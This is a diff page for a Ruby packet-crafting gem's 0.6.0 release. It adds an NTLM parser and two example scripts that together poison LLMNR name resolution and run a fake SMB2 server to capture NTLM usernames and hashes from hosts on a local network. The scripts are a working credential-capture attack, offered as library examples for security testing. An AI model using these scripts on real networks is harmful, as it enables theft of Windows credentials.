packetgen-plugin-smb 0.5.0 → 0.6.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 7aaeb4b048754ed60fdb9f88a6d82dec247a993056617765e48e047d312d0962
4
- data.tar.gz: 9c5da64aa7a58e9e7971554cdf435c08b085e2b63f81bacd9d36a19e9b610ac5
3
+ metadata.gz: 961af27daff2c38b17b266a4f9fd51d643e95b030cba835b3af596d18b93577e
4
+ data.tar.gz: 6792ca39dc088cbc36a32116b7a45e6b27f2a4bc95752f80262829b46e53701c
5
5
  SHA512:
6
- metadata.gz: e261d4a050ed4a8ed34a51d106bacc519279256bc95bb75e0998947c6365bf008f4f7e43103b9f86b9526efafd0ee18e5cdb1f9f260fe94e052b309555552b50
7
- data.tar.gz: 1c1e0fa328e1272a45ab699168b8cc246df7bf4520f4e2a82d2378ff89706e308dfbd57f50ecd1567800e905959a2672bce3756d1e1d6a59c8838198ae4dde92
6
+ metadata.gz: b03e45a4d17799b7fada7b096d901bd18b6692fe6afd6d90a563a8f6ae5338a6b82b8f71377f9e996ff73791291eb9b115fb901e50b5f6f114197374c4d3dcd8
7
+ data.tar.gz: 129ae737bfca356d136dc83e6d370a007458469add87eeddf2236827d6ff280d2ab18627b69e69a26608680bc15cf9a4bbcfba2c4ee4ef0f94f33d4ec19f2462
@@ -3,10 +3,10 @@ rvm:
3
3
  - 2.3
4
4
  - 2.4
5
5
  - 2.5
6
+ - 2.6
6
7
 
7
8
  install:
8
9
  - sudo apt-get update -qq
9
10
  - sudo apt-get install libpcap-dev -qq
10
- - bundle install --path vendor/bundle --jobs=3 --retry=3
11
- script:
12
- - bundle exec rake
11
+ - gem install bundler --version "~>1.17.3"
12
+ - bundle _1.17.3_ install --path vendor/bundle --jobs=3 --retry=3
data/README.md CHANGED
@@ -15,7 +15,8 @@ This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It
15
15
  * SMB2 common header (support 2.x and 3.x dialects),
16
16
  * Negotiate command,
17
17
  * SessionSetup command,
18
- * GSSAPI, used to transport negotiation over SMB2 commands.
18
+ * GSSAPI, used to transport negotiation over SMB2 commands,
19
+ * NTLM, SMB authentication protocol.
19
20
 
20
21
 
21
22
  ## Installation
@@ -0,0 +1,110 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a LLMNR responder. It responds to all LLMNR
8
+ # requests on local network, and says requested name is its IP address.
9
+
10
+ # frozen_string_literal: true
11
+
12
+ require 'optparse'
13
+ require 'socket'
14
+ require 'ipaddr'
15
+
16
+ require 'packetgen'
17
+ require 'packetgen-plugin-smb'
18
+
19
+ BIND_ADDR = '0.0.0.0'
20
+
21
+ class LlmnrResponder
22
+ attr_reader :socket, :my_ip, :my_ip_data
23
+
24
+ LLMNR_MCAST_ADDR = '224.0.0.252'
25
+
26
+ def initialize
27
+ @socket = UDPSocket.new
28
+ end
29
+
30
+ def start(bind_addr:, iface:)
31
+ @my_ip = Interfacez.ipv4_address_of(iface)
32
+ @my_ip_data = IPAddr.new(my_ip).hton
33
+ configure_multicast(my_ip_data)
34
+
35
+ socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
36
+
37
+ start_loop
38
+ end
39
+
40
+ private
41
+
42
+ def log(str)
43
+ puts "[LLMNR] #{str}"
44
+ end
45
+
46
+ def configure_multicast(local_ip_bin)
47
+ mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
48
+ socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
49
+ end
50
+
51
+ def start_loop
52
+ loop do
53
+ data, peer = socket.recvfrom(1024)
54
+ pkt = PacketGen.parse(data, first_header: 'LLMNR')
55
+ next unless pkt.is?('LLMNR')
56
+
57
+ peer_port = peer[1]
58
+ peer_ip = peer[3]
59
+ log "received LLMNR request from #{peer_ip}"
60
+
61
+ # Forge LLMNR response
62
+ response_pkt = pkt.reply
63
+ response_pkt.llmnr.qr = true
64
+ response_pkt.llmnr.qd.each do |question|
65
+ next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
66
+
67
+ log "Say to #{peer_ip} #{question.name} is #{my_ip}"
68
+ answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
69
+ response_pkt.llmnr.an << answer
70
+ end
71
+ response_pkt.calc
72
+
73
+ next unless response_pkt.llmnr.ancount > 0
74
+
75
+ socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
76
+ end
77
+ end
78
+ end
79
+
80
+ def parse_options
81
+ options = {}
82
+
83
+ OptionParser.new do |opts|
84
+ opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
85
+ opts.separator ''
86
+ opts.separator 'Options:'
87
+
88
+ opts.on_tail('-h', '--help', 'Show this message') do
89
+ puts opts
90
+ exit
91
+ end
92
+
93
+ opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
94
+ options[:iface] = iface
95
+ end
96
+ end.parse!
97
+
98
+ options
99
+ end
100
+
101
+ def check_options(options)
102
+ raise 'No interface given' if options[:iface].nil?
103
+ raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
104
+ end
105
+
106
+ options = parse_options
107
+
108
+ check_options options
109
+
110
+ LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
@@ -0,0 +1,233 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a SMB responder. It responds to all SMB
8
+ # Negotiate request to capture credentials.
9
+ # Before running it (as root), llmnr-responder should be running.
10
+
11
+ # frozen_string_literal: true
12
+
13
+ require 'socket'
14
+ require 'securerandom'
15
+ require 'ostruct'
16
+
17
+ require 'packetgen'
18
+ require 'packetgen-plugin-smb'
19
+
20
+ BIND_ADDR = '0.0.0.0'
21
+
22
+ DOMAIN_NAME = 'SMB3'
23
+ COMPUTER_NAME = 'WIN-AZE546CFHTD'
24
+
25
+ Thread.abort_on_exception = true
26
+
27
+ Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
28
+ def to_s
29
+ user = self.user.encode('UTF-8')
30
+ computer = self.computer.encode('UTF-8')
31
+ str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
32
+ str << "Challenge: #{challenge}\nProof: #{proof}\n"
33
+ str << "Response: #{response}"
34
+ end
35
+ end
36
+
37
+ class Smb2Responder
38
+ attr_reader :socket, :guid, :salt
39
+
40
+ NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
41
+ STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
42
+ STATUS_ACCESS_DENIED = 0xc0000022
43
+
44
+ SMB2_SIZE = 8_388_608
45
+ SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
46
+ SMB2_SALT_LEN = 32
47
+
48
+ def initialize
49
+ @guid = SecureRandom.uuid
50
+ @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
51
+ end
52
+
53
+ def start(bind_addr:)
54
+ @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
55
+
56
+ start_loop
57
+ end
58
+
59
+ private
60
+
61
+ def log(str)
62
+ puts "[SMB2] #{str}"
63
+ end
64
+
65
+ def get_smb_data(sock)
66
+ PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
67
+ end
68
+
69
+ def smb2_nego_resp1
70
+ return @resp1_pkt if defined? @resp1_pkt
71
+
72
+ @resp1_pkt = PacketGen.gen('NetBIOS::Session')
73
+ .add('SMB2', credit: 1)
74
+ .add('SMB2::Negotiate::Response',
75
+ dialect: 0x2ff,
76
+ server_guid: guid, capabilities: 7,
77
+ max_trans_size: SMB2_SIZE,
78
+ max_read_size: SMB2_SIZE,
79
+ max_write_size: SMB2_SIZE)
80
+ @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
81
+ @resp1_pkt.calc
82
+ @resp1_pkt
83
+ end
84
+
85
+ def first_nego_response
86
+ pkt = smb2_nego_resp1
87
+ pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
88
+ pkt
89
+ end
90
+
91
+ def second_nego_response(req_pkt)
92
+ smb2_req = req_pkt.smb2
93
+ nego_req = req_pkt.smb2_negotiate_request
94
+
95
+ pkt = PacketGen.gen('NetBIOS::Session')
96
+ .add('SMB2',
97
+ credit: 1,
98
+ message_id: smb2_req.message_id,
99
+ reserved: smb2_req.reserved)
100
+ .add('SMB2::Negotiate::Response',
101
+ dialect: nego_req.dialects.last,
102
+ server_guid: guid,
103
+ capabilities: 0x2f,
104
+ max_trans_size: SMB2_SIZE,
105
+ max_read_size: SMB2_SIZE,
106
+ max_write_size: SMB2_SIZE,
107
+ system_time: PacketGen::Plugin::SMB::Filetime.now,
108
+ buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
109
+
110
+ pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
111
+ pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
112
+
113
+ pkt.smb2_negotiate_response.context_list << { type: 2 }
114
+ pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
115
+ pkt.calc
116
+ pkt
117
+ end
118
+
119
+ def first_session_setup_response(req_pkt)
120
+ smb2_req = req_pkt.smb2
121
+ setup_req = req_pkt.smb2_sessionsetup_request
122
+ ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
123
+
124
+ pkt = PacketGen.gen('NetBIOS::Session')
125
+ .add('SMB2',
126
+ credit_charge: 1,
127
+ credit: 1,
128
+ status: STATUS_MORE_PROCESSING_REQUIRED,
129
+ message_id: smb2_req.message_id,
130
+ reserved: smb2_req.reserved)
131
+ .add('SMB2::SessionSetup::Response')
132
+
133
+ ntlm = PacketGen::Plugin::NTLM::Challenge.new
134
+ ntlm.flags = ntlm_nego.flags | 0x00810000
135
+ ntlm.flags &= 0xfdffff15
136
+ ntlm.challenge = [rand(2**64)].pack('q<')
137
+ ntlm.target_name.read('SMB3')
138
+ ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
139
+ ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
140
+ ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
141
+ ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
142
+ ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
143
+ ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
144
+ ntlm.target_info << { type: 'EOL' }
145
+ ntlm.calc_length
146
+
147
+ gssapi = pkt.smb2_sessionsetup_response.buffer
148
+ gssapi[:token_resp][:response].value = ntlm.to_s
149
+ gssapi[:token_resp][:negstate].value = 'accept-incomplete'
150
+ gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
151
+
152
+ pkt.calc
153
+
154
+ [pkt, ntlm.challenge]
155
+ end
156
+
157
+ def deny_access(req_pkt)
158
+ smb2_req = req_pkt.smb2
159
+ pkt = PacketGen.gen('NetBIOS::Session')
160
+ .add('SMB2',
161
+ credit: 1,
162
+ credit_charge: 1,
163
+ status: STATUS_ACCESS_DENIED,
164
+ message_id: smb2_req.message_id,
165
+ reserved: smb2_req.reserved)
166
+ .add('SMB2::SessionSetup::Response')
167
+ # Remove buffer
168
+ pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
169
+ pkt.calc
170
+ pkt
171
+ end
172
+
173
+ def start_loop
174
+ loop do
175
+ client = socket.accept
176
+ to_close = false
177
+
178
+ log "connection from #{client.peeraddr[2]}"
179
+
180
+ credentials = Credentials.new
181
+ credentials.ip = client.peeraddr.last
182
+
183
+ until to_close
184
+ rcv_pkt = get_smb_data(client)
185
+
186
+ pkt_to_send = case rcv_pkt.headers.last.protocol_name
187
+ when 'SMB::Negotiate::Request'
188
+ unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
189
+ to_close = true
190
+ nil
191
+ end
192
+
193
+ first_nego_response
194
+
195
+ when 'SMB2::Negotiate::Request'
196
+ second_nego_response rcv_pkt
197
+
198
+ when 'SMB2::SessionSetup::Request'
199
+ gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
200
+ if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
201
+ pkt, challenge = first_session_setup_response(rcv_pkt)
202
+ credentials.challenge = binary2hex(challenge)
203
+ pkt
204
+ else
205
+ response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
206
+ if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
207
+ credentials.proof = binary2hex(response.nt_response.response)
208
+ credentials.user = response.user_name
209
+ credentials.computer = response.workstation
210
+ credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
211
+ to_close = true
212
+ deny_access rcv_pkt
213
+ else
214
+ to_close = true
215
+ nil
216
+ end
217
+ end
218
+ end
219
+
220
+ client.send(pkt_to_send.to_s, 0) if pkt_to_send
221
+ client.close if to_close
222
+
223
+ puts credentials.to_s unless credentials.response.nil?
224
+ end
225
+ end
226
+ end
227
+
228
+ def binary2hex(str)
229
+ str.unpack('H*').first
230
+ end
231
+ end
232
+
233
+ Smb2Responder.new.start(bind_addr: BIND_ADDR)
@@ -12,3 +12,4 @@ require_relative 'packetgen/plugin/netbios'
12
12
  require_relative 'packetgen/plugin/smb'
13
13
  require_relative 'packetgen/plugin/smb2'
14
14
  require_relative 'packetgen/plugin/llmnr'
15
+ require_relative 'packetgen/plugin/ntlm'
@@ -101,7 +101,7 @@ module PacketGen::Plugin
101
101
  model(:token_resp, NegTokenResp)]
102
102
 
103
103
  # @param [Hash] args
104
- # @param [Symbol] :type +:init+ or +:response+ to force selection of
104
+ # @option args [Symbol] :token +:init+ or +:response+ to force selection of
105
105
  # token CHOICE.
106
106
  def initialize(args={})
107
107
  token = args.delete(:token)
@@ -0,0 +1,211 @@
1
+ # This file is part of packetgen-plugin-smb.
2
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
4
+ # This program is published under MIT license.
5
+
6
+ # frozen_string_literal: true
7
+
8
+ module PacketGen::Plugin
9
+ # Base class for NTLM authentication protocol.
10
+ # @author Sylvain Daubert
11
+ class NTLM < PacketGen::Types::Fields
12
+ # NTLM message types
13
+ TYPES = {
14
+ 'negotiate' => 1,
15
+ 'challenge' => 2,
16
+ 'authenticate' => 3
17
+ }.freeze
18
+
19
+ # NTLM signature
20
+ SIGNATURE = "NTLMSSP\0"
21
+
22
+ # void version
23
+ VOID_VERSION = [0].pack('q').freeze
24
+ VOID_CHALLENGE = VOID_VERSION
25
+
26
+ # @!attribute signature
27
+ # 8-byte NTLM signature
28
+ # @return [String]
29
+ define_field :signature, PacketGen::Types::String, static_length: 8, default: SIGNATURE
30
+ # @!attribute type
31
+ # 4-byte message type
32
+ # @return [Integer]
33
+ define_field :type, PacketGen::Types::Int32leEnum, enum: TYPES
34
+ # @!attribute payload
35
+ # @return [String]
36
+ define_field :payload, PacketGen::Types::String
37
+
38
+ class <<self
39
+ # @api private
40
+ # Return fields defined in payload one.
41
+ # @return [Hash]
42
+ attr_accessor :payload_fields
43
+
44
+ # Create a NTLM object from a binary string
45
+ # @param [String] str
46
+ # @return [NTLM]
47
+ def read(str)
48
+ ntlm = self.new.read(str)
49
+ type = TYPES.key(ntlm.type)
50
+ return ntlm if type.nil?
51
+
52
+ klass = NTLM.const_get(type.capitalize)
53
+ klass.new.read(str)
54
+ end
55
+
56
+ # Define a flags field.
57
+ # @return [void]
58
+ def define_negotiate_flags
59
+ define_field_before :payload, :flags, PacketGen::Types::Int32le
60
+ define_bit_fields_on :flags, :flags_w, :flags_v, :flags_u, :flags_r13, 3,
61
+ :flags_t, :flags_r4, :flags_s, :flags_r,
62
+ :flags_r5, :flags_q, :flags_p, :flags_r6,
63
+ :flags_o, :flags_n, :flags_m, :flags_r7,
64
+ :flags_l, :flags_k, :flags_j, :flags_r8,
65
+ :flags_h, :flags_r9, :flags_g, :flags_f,
66
+ :flags_e, :flags_d, :flags_r10, :flags_c,
67
+ :flags_b, :flags_a
68
+ alias_method :nego56?, :flags_w?
69
+ alias_method :key_exch?, :flags_v?
70
+ alias_method :nego128?, :flags_u?
71
+ alias_method :version?, :flags_t?
72
+ alias_method :target_info?, :flags_s?
73
+ alias_method :non_nt_session_key?, :flags_r?
74
+ alias_method :identify?, :flags_q?
75
+ alias_method :ext_session_security?, :flags_p?
76
+ alias_method :target_type_server?, :flags_o?
77
+ alias_method :target_type_domain?, :flags_n?
78
+ alias_method :always_sign?, :flags_m?
79
+ alias_method :oem_workstation_supplied?, :flags_l?
80
+ alias_method :oem_domain_supplied?, :flags_k?
81
+ alias_method :anonymous?, :flags_j?
82
+ alias_method :ntlm?, :flags_h?
83
+ alias_method :lm_key?, :flags_g?
84
+ alias_method :datagram?, :flags_f?
85
+ alias_method :seal?, :flags_e?
86
+ alias_method :sign?, :flags_d?
87
+ alias_method :request_target?, :flags_c?
88
+ alias_method :oem?, :flags_b?
89
+ alias_method :unicode?, :flags_a?
90
+ alias_method :old_flags_a=, :flags_a=
91
+ alias_method :old_flags=, :flags=
92
+
93
+ class_eval do
94
+ def flags_a=(value)
95
+ self.old_flags_a = value
96
+ self.class.payload_fields.each do |name, _|
97
+ attr = send(name)
98
+ attr.unicode = value if attr.respond_to?(:unicode=)
99
+ end
100
+
101
+ value
102
+ end
103
+
104
+ def flags=(value)
105
+ self.old_flags = value
106
+ self.flags_a = value & 1
107
+ end
108
+ end
109
+ end
110
+
111
+ # Define a field in payload. Also add +name_len+, +name_maxlen+ and
112
+ # +name_offset+ fields.
113
+ # @param [Symbol] name name of field.
114
+ # @param [Class,nil] type type of +name+ field.
115
+ # @param [Hash] options type's options needed at build time
116
+ # @return [void]
117
+ def define_in_payload(name, type=SMB::String, options={})
118
+ @payload_fields ||= {}
119
+ @payload_fields[name] = [type, options]
120
+
121
+ define_field_before :payload, :"#{name}_len", PacketGen::Types::Int16le
122
+ define_field_before :payload, :"#{name}_maxlen", PacketGen::Types::Int16le
123
+ define_field_before :payload, :"#{name}_offset", PacketGen::Types::Int32le
124
+
125
+ attr_accessor name
126
+ end
127
+ end
128
+
129
+ # @abstract This method is meaningful for {NTLM} subclasses only.
130
+ def initialize(options={})
131
+ super
132
+ return if self.class.payload_fields.nil?
133
+
134
+ self.class.payload_fields.each do |name, type_and_opt|
135
+ type, options = type_and_opt
136
+ content = if type.new.respond_to?(:unicode?)
137
+ type.new(options.merge(unicode: unicode?))
138
+ else
139
+ type.new(options)
140
+ end
141
+ send(:"#{name}=", content)
142
+ end
143
+ end
144
+
145
+ # @abstract This class is meaningful for {NTLM} subclasses only.
146
+ # Populate object from a binary string
147
+ # @param [String] str
148
+ # @return [self]
149
+ def read(str)
150
+ super
151
+ return self if self.class.payload_fields.nil?
152
+
153
+ self.class.payload_fields.each do |name, type_and_opt|
154
+ type, options = type_and_opt
155
+ offset_in_payload = send(:"#{name}_offset") - offset_of(:payload)
156
+ length = send(:"#{name}_len")
157
+ content = if type.new.respond_to?(:unicode?)
158
+ type.new(options.merge(unicode: unicode?))
159
+ else
160
+ type.new(options)
161
+ end
162
+ content.read(payload[offset_in_payload, length]) if length > 0
163
+ send(:"#{name}=", content)
164
+ end
165
+
166
+ self
167
+ end
168
+
169
+ # @abstract This class is meaningful for {NTLM} subclasses only.
170
+ # Calculate and set +len+, +maxlen+ and +offset+ fields defined for
171
+ # fields in {#payload}.
172
+ # @return [void]
173
+ def calc_length
174
+ return self if self.class.payload_fields.nil?
175
+
176
+ previous_len = 0
177
+ self.class.payload_fields.each do |name, _type_and_opt|
178
+ send(:"#{name}_len=", 0)
179
+ send(:"#{name}_offset=", offset_of(:payload) + previous_len)
180
+
181
+ field = send(name)
182
+ next unless field && !field.empty?
183
+
184
+ length = field.respond_to?(:sz) ? field.sz : field.size
185
+ send(:"#{name}_len=", length)
186
+ send(:"#{name}_maxlen=", length)
187
+ previous_len = length
188
+ end
189
+ end
190
+
191
+ # @abstract This class is meaningful for {NTLM} subclasses only.
192
+ # @return [String]
193
+ def to_s
194
+ s = super
195
+ return s if self.class.payload_fields.nil?
196
+
197
+ self.class.payload_fields.each do |name, _type_and_opt|
198
+ attr = send(name)
199
+ attr.unicode = unicode? if attr.respond_to?(:unicode=)
200
+ s << attr.to_s unless attr.nil? || send("#{name}_len").zero?
201
+ end
202
+ s
203
+ end
204
+ end
205
+ end
206
+
207
+ require_relative 'ntlm/av_pair'
208
+ require_relative 'ntlm/ntlmv2_response'
209
+ require_relative 'ntlm/negotiate'
210
+ require_relative 'ntlm/challenge'
211
+ require_relative 'ntlm/authenticate'